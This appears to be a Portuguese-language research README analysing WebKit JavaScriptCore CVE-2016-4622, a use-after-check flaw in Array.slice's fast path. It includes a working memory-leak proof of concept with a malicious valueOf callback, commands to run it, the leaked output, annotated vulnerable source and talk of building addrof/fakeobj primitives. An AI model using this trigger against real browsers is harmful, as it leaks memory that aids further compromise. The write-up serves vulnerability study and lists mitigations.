Análise do WebKit CVE-2016-4622: Mergulho Profundo na Vulnerabilidade do Slice ValueOf Fastpath

Análise abrangente e exploração da vulnerabilidade do WebKit JavaScript Core que permite divulgação de memória através da manipulação de Array.slice

Sumário

• Executive Summary
• Vulnerability Overview
• Research Environment Setup
• Technical Analysis
• Exploitation Walkthrough
• Key Findings
• Resources and References

Sumário Executivo

Este repositório contém uma análise abrangente de CVE-2016-4622, uma vulnerabilidade crítica de divulgação de memória no motor JavaScript Core do WebKit. A vulnerabilidade decorre de uma condição de corrida na implementação de Array.slice() que pode ser explorada para vazar conteúdos de memória adjacente, servindo como base para primitivas de exploração mais sofisticadas, como addrof e fakeobj.

Impacto: Divulgação de memória levando a potencial execução remota de código Componente Afetado: WebKit JavaScript Core (JSC) Causa Raiz: Vulnerabilidade de tempo-de-verificação-tempo-de-uso (TOCTOU) na implementação de fastSlice

Visão Geral da Vulnerabilidade

O Problema Central

A vulnerabilidade existe no "caminho rápido" otimizado do WebKit para o método Array.slice(). Ao processar parâmetros de slice, o motor converte argumentos objeto para valores primitivos chamando seu método valueOf(). Essa conversão ocorre após determinar os parâmetros da operação de slice, mas antes da operação real de cópia de memória.

Vetor de Ataque

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

O que acontece:

1. O array a é criado com 100 elementos
2. Durante o processamento dos parâmetros de slice, valueOf() é chamado
3. O valueOf() malicioso reduz o array para comprimento 0
4. memcpy tenta copiar 10 elementos de um array vazio
5. Resultado: Memória adjacente é copiada, causando divulgação de informação

Configuração do Ambiente de Pesquisa

Estrutura do Repositório

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Implementação de referência por Saelo
├── Exploit/                        # Tentativas de exploração personalizadas
│   ├── poc-memleak.js             # Prova de conceito de vazamento de memória
│   └── slice_over_array.js        # Exemplos educacionais
├── WebKit-SRC-CVE-2016-4622/     # Código fonte vulnerável (commit 320b1fc)
├── WebKit-Bins/                   # Binários compilados para teste
│   ├── Debug/                     # Build de depuração com símbolos
│   └── ASAN/                      # Build com AddressSanitizer habilitado
└── Screenshoots/                  # Documentação visual

Ambiente de Teste

Binários: Binários JSC pré-compilados construídos no VMWare OSX 10.11 com XCode 7.3.2 Arquitetura: Executáveis Mach-O x86_64 Recursos de Depuração: Símbolos + AddressSanitizer para análise abrangente

Executando a Prova de Conceito

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

Análise Técnica

Entendendo a Mecânica de Array.slice()

O método Array.slice(begin, end) cria uma cópia superficial de uma porção de um array. Em circunstâncias normais:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Retorna ['b', 'c']

Insight chave: O parâmetro end passa por conversão de tipo via valueOf(), criando uma janela para exploração.

Análise da Pilha de Chamadas

Quando a vulnerabilidade é acionada, o AddressSanitizer captura este fluxo de chamadas:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Mergulho Profundo: Análise Função por Função

1. arrayProtoFuncSlice() - Ponto de Entrada

Localização: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - O Gatilho de Conversão

Localização: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

A Condição de Corrida:

• Ao processar o segundo parâmetro {valueOf: function() { a.length = 0; return 10; }}
• value.toInteger(exec) chama nosso valueOf() malicioso
• Nossa função modifica o comprimento do array de 100 para 0
• Mas os parâmetros da operação de slice (begin=0, end=10) permanecem inalterados

3. fastSlice() - Onde a Corrupção de Memória Ocorre

Localização: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

A Corrupção de Memória:

• startIndex = 0, count = 10
• O comprimento do array agora é 0 (modificado por valueOf())
• memcpy lê 10 JSValues a partir do índice 0
• Como o array está vazio, isso lê memória do heap adjacente
• Resultado: Vulnerabilidade de divulgação de informação

Passo a Passo da Exploração

Fluxo de Ataque Passo a Passo

1. Fase de Configuração

   root@kitploit:~

   var a = [];
   for (var i = 0; i < 100; i++)
       a.push(i + 0.123);
   

   • Cria um tipo ArrayWithDouble com 100 elementos
   • Elementos são armazenados contiguamente na memória

2. Fase de Gatilho

   root@kitploit:~

   var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
   

   • Inicia a operação de slice com um objeto malicioso como parâmetro end
   • A validação do caminho rápido passa (o array parece normal)

3. Fase de Exploração

   • A conversão de parâmetro chama valueOf()
   • O comprimento do array é reduzido para 0
   • fastSlice tenta copiar 10 elementos de um array vazio
   • Memória adjacente vazada para o array resultante

4. Resultado

   root@kitploit:~

   0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
   

   • Primeiros dois valores: dados legítimos do array
   • Valores restantes: memória adjacente vazada

Representação Visual

Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

Principais Descobertas

Análise da Causa Raiz

Primitivas de Exploração

Esta vulnerabilidade serve como base para:

• Divulgação de Informação: Capacidade de vazamento direto de memória
• Bypass de ASLR: Revelação potencial do layout do espaço de endereçamento
• Confusão de Tipo: Configuração para primitivas addrof/fakeobj

Considerações Defensivas

Estratégias de Mitigação:

• Validar limites do array antes das operações memcpy
• Implementar verificação consistente de estado em caminhos rápidos
• Adicionar verificação de limites em tempo de execução para operações otimizadas

Recursos e Referências

Artigos e Trabalhos de Pesquisa

• Attacking JavaScript Engines - Saelo (Phrack)
• Análise CVE-2016-4622 - TuringH
• Análise Aprofundada - null2root
• Tutorial de Exploração WebKit

Documentação Técnica

• Array.slice() - Documentação MDN Web
• Código Fonte do WebKit
• Arquitetura do JavaScript Core

Ferramentas e Ambiente

• Commit Vulnerável: 320b1fc3f6f
• Ambiente de Build: VMWare OSX 10.11, XCode 7.3.2
• Ferramentas de Análise: AddressSanitizer, GDB, JSC Debug Builds

Linha do Tempo da Pesquisa: 11-12 de abril de 2020
Status: Análise Completa ✅
Próximos Passos: Desenvolvimento da cadeia completa de exploração com primitivas addrof/fakeobj